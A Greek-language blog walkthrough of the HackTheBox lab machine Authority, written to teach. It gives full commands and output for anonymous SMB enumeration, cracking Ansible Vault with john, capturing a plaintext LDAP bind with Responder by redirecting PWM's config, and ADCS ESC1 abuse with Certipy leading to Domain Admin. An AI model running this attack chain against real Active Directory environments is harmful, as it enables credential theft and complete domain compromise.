Πίσω στο blog
← Πίσω στα posts

English  ·  Ελληνικά

HTB: Authority

HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗

HTB Authority machine card
Το Authority είναι ένα μηχάνημα μέτριας δυσκολίας Windows Active Directory. Ξεκινά με ανώνυμη πρόσβαση SMB σε ένα share Development που περιέχει playbooks Ansible με credentials κρυπτογραφημένα με Ansible Vault. Το να σπάσουμε το κλειδί vault με ansible2john + John the Ripper αποκαλύπτει credentials για να κάνουμε login στο PWM (μια εφαρμογή password self-service στη θύρα 8443). Το να τροποποιήσουμε το config LDAP του PWM ώστε να ανακατευθύνει στο μηχάνημά μας και να τρέξουμε Responder πιάνει το plaintext password του svc_ldap. Το privilege escalation εκμεταλλεύεται το ADCS ESC1 — προσθέτουμε ένα domain computer, ζητάμε ένα πιστοποιητικό Administrator μέσω Certipy, κάνουμε authenticate για να πάρουμε ένα LDAP shell, και προσθέτουμε τον χρήστη μας στους Domain Admins.
SMB anon → Development → Ansible Vault → john → PWM login → Responder → svc_ldap → addcomputer → ADCS ESC1 → Certipy → Domain Admin

Αναγνώριση

Nmap

Ένα πλήρες port scan αποκαλύπτει ένα κλασικό fingerprint Windows Domain Controller — DNS, Kerberos, LDAP, SMB, RPC, και μια ασυνήθιστη θύρα 8443 που τρέχει μια web εφαρμογή που ανακατευθύνει στο /pwm.

nmap — full scan
SP1R4@kali)-[~/HTB/authority] └$ nmap -sC -sV -p- 10.10.11.222 --min-rate=500 PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds? 636/tcp open ldapssl? 3268/tcp open ldap 8443/tcp open ssl/https-alt [redirects to /pwm] Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
hosts
echo "10.10.11.222 authority.htb authority.authority.htb" | sudo tee -a /etc/hosts

Καταμέτρηση SMB

Το SMB επιτρέπει ανώνυμο login. Το λιστάρισμα shares αποκαλύπτει ένα μη-στάνταρ share Development δίπλα στα συνηθισμένα shares AD.

smbclient — list shares
SP1R4@kali)-[~/HTB/authority] └$ smbclient -L //10.10.11.222/
smbclient SMB shares listing
smbclient — download Development share
SP1R4@kali)-[~/HTB/authority] └$ smbclient -N //10.10.11.222/Development smb: \> recurse on smb: \> prompt off smb: \> mget *

Το share περιέχει playbooks Ansible κάτω από Automation/Ansible/PWM/defaults/. Τα αρχεία main.yml κρατούν credentials κρυπτογραφημένα με Ansible Vault.

Ansible PWM defaults directory

Σπάγοντας το Ansible Vault

Οι τιμές κρυπτογραφημένες με vault ξεκινούν με $ANSIBLE_VAULT;1.1;AES256. Χρησιμοποιούμε το ansible2john για να τις μετατρέψουμε σε ένα hash συμβατό με John, μετά κάνουμε crack με rockyou.

ansible2john — convert to hash
SP1R4@kali)-[~/HTB/authority] └$ ansible2john pwm_admin_login.txt > vaultpass.hash
ansible2john hash conversion
john — crack vault password
SP1R4@kali)-[~/HTB/authority] └$ john vaultpass.hash --wordlist=/usr/share/wordlists/rockyou.txt └$ john vaultpass.hash --show
John cracking vault password

Το κλειδί vault σπάστηκε: !@#$%^&*. Τώρα κάνε decrypt τα credentials:

ansible-vault decrypt
SP1R4@kali)-[~/HTB/authority] └$ cat pwm_admin_login.txt | ansible-vault decrypt Vault password: !@#$%^&* Decryption successful └$ cat pwm_admin_password.txt | ansible-vault decrypt Vault password: !@#$%^&* Decryption successful
ansible-vault decrypt success

PWM — Password Self Service (θύρα 8443)

Η θύρα 8443 φιλοξενεί το PWM, μια εφαρμογή password self-service LDAP ανοιχτού κώδικα. Τα decrypted credentials δίνουν πρόσβαση σαν Configuration Manager. Το PWM δείχνει errors σύνδεσης LDAP — προσπαθεί να φτάσει το ldaps://authority.authority.htb:636 αλλά αποτυγχάνει, και παρατηρούμε τον χρήστη svc_ldap στο bind DN.

PWM login page PWM health page with LDAP error

Καταγραφή LDAP μέσω Responder

Η σελίδα Configuration Manager μας επιτρέπει να κάνουμε Download και Import το config XML του PWM. Τροποποιούμε το URL του server LDAP ώστε να δείχνει στο μηχάνημά μας, κάνουμε import το config, μετά ξεκινάμε το Responder. Όταν το PWM ξαναδοκιμάζει το bind LDAP στέλνει τα credentials σε plaintext σε εμάς.

config modification — PwmConfiguration.xml
# Αλλαξε το URL LDAP στο PwmConfiguration.xml <value>ldaps://authority.authority.htb:636</value> # σε: <value>ldap://<YOUR_IP>:389</value> # Κάνε import το τροποποιημένο config μέσω Configuration Manager, μετά...
responder — capture LDAP bind
SP1R4@kali)-[~/HTB/authority] └$ responder -I tun0 -wA [LDAP] Cleartext Client : 10.10.11.222 [LDAP] Cleartext Username : CN=svc_ldap,OU=Service Accounts,DC=authority,DC=htb [LDAP] Cleartext Password : lDaP_1n_th3_cle4r!
🚩 Πιάστηκαν plaintext credentials: svc_ldap : lDaP_1n_th3_cle4r!

Foothold

evil-winrm
SP1R4@kali)-[~/HTB/authority] └$ evil-winrm -i 10.10.11.222 -u svc_ldap -p 'lDaP_1n_th3_cle4r!' *Evil-WinRM* PS C:\Users\svc_ldap\Desktop> type user.txt HTB{...}
🚩 User flag πιάστηκε.

Privilege Escalation — ADCS ESC1

Πρόσθεσε ένα Domain Computer

Το domain επιτρέπει σε οποιονδήποτε authenticated χρήστη να προσθέσει λογαριασμούς computer (το ms-DS-MachineAccountQuota είναι μη-μηδενικό). Προσθέτουμε ένα ψεύτικο computer για να πάρουμε έναν λογαριασμό machine που ελέγχουμε.

impacket-addcomputer
SP1R4@kali)-[~/HTB/authority] └$ impacket-addcomputer authority.htb/svc_ldap:'lDaP_1n_th3_cle4r!' \ -dc-ip 10.10.11.222 -computer-name 'SP1R4$' -computer-pass 'SP1R4pass1!' [*] Successfully added machine account SP1R4$ with password SP1R4pass1!.

Βρες το ESC1 μέσω Certipy

Το Certipy κάνει enumerate templates πιστοποιητικών ADCS. Βρίσκει ένα template ευάλωτο σε ESC1 — κάθε Domain Computer μπορεί να κάνει enroll και να ορίσει ένα αυθαίρετο Subject Alternative Name, επιτρέποντάς μας να προσποιηθούμε οποιονδήποτε χρήστη συμπεριλαμβανομένου του Administrator.

certipy find — enumerate templates
SP1R4@kali)-[~/HTB/authority] └$ certipy find -u 'SP1R4$@authority.htb' -p 'SP1R4pass1!' -dc-ip 10.10.11.222 -vulnerable [!] Vulnerabilities ESC1 - Template allows SAN; enrollment rights for Domain Computers
ⓘ ESC1 — το template επιτρέπει σε όσους κάνουν enroll να ορίσουν ένα αυθαίρετο Subject Alternative Name (UPN). Ορίζοντας το UPN σε administrator@authority.htb, αποκτούμε ένα πιστοποιητικό που κάνει authenticate σαν Administrator.

Ζήτησε Πιστοποιητικό Administrator

certipy req
SP1R4@kali)-[~/HTB/authority] └$ certipy req -username 'SP1R4$@authority.htb' -password 'SP1R4pass1!' \ -ca 'AUTHORITY-CA' -template 'CorpVPN' \ -upn 'administrator@authority.htb' -dc-ip 10.10.11.222 [*] Saved certificate and private key to 'administrator_authority.pfx'

Authenticate με Πιστοποιητικό — LDAP Shell

certipy auth — ldap-shell
SP1R4@kali)-[~/HTB/authority] └$ certipy auth -pfx administrator_authority.pfx -dc-ip 10.10.11.222 -ldap-shell # Πήραμε ldap-shell σαν Administrator ldap-shell> add_user sp1r4admin ldap-shell> change_password sp1r4admin 'Passw0rd123!' ldap-shell> add_user_to_group sp1r4admin 'Domain Admins' Successfully added sp1r4admin to Domain Admins.

Root Flag

crackmapexec — domain admin
SP1R4@kali)-[~/HTB/authority] └$ crackmapexec winrm 10.10.11.222 -u 'sp1r4admin' -p 'Passw0rd123!' -x 'type C:\Users\Administrator\Desktop\root.txt' WINRM 10.10.11.222 [+] authority.htb\sp1r4admin:Passw0rd123! (Pwn3d!) HTB{...}
🚩 Root flag πιάστηκε. Το μηχάνημα pwned.

Περίληψη

ΣταδιοΤεχνικηΕργαλειο
ReconΠλήρες port scan → θύρες DC + θύρα 8443 (PWM)nmap
EnumSMB anonymous → share Development → playbooks Ansiblesmbclient
Cred decryptansible2john → john crack → ansible-vault decryptjohn, ansible
FootholdPWM config LDAP redirect → Responder → svc_ldap plaintextresponder, evil-winrm
PrivEscaddcomputer → ADCS ESC1 → certipy req/auth → Domain Adminimpacket, certipy

Βασικές εντολές

quick reference
# Καταμετρηση SMB smbclient -N //10.10.11.222/Development # Σπασε το Ansible Vault ansible2john vault_file.txt > vault.hash && john vault.hash --wordlist=rockyou.txt cat vault_file.txt | ansible-vault decrypt # Πιασε credentials LDAP responder -I tun0 -wA # Shell WinRM evil-winrm -i 10.10.11.222 -u svc_ldap -p 'lDaP_1n_th3_cle4r!' # Πρόσθεσε λογαριασμό machine impacket-addcomputer authority.htb/svc_ldap:'lDaP_1n_th3_cle4r!' -dc-ip 10.10.11.222 -computer-name 'SP1R4$' -computer-pass 'SP1R4pass1!' # Exploit ADCS ESC1 certipy find -u 'SP1R4$@authority.htb' -p 'SP1R4pass1!' -dc-ip 10.10.11.222 -vulnerable certipy req -username 'SP1R4$@authority.htb' -password 'SP1R4pass1!' -ca 'AUTHORITY-CA' -template 'CorpVPN' -upn 'administrator@authority.htb' -dc-ip 10.10.11.222 certipy auth -pfx administrator_authority.pfx -dc-ip 10.10.11.222 -ldap-shell
HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗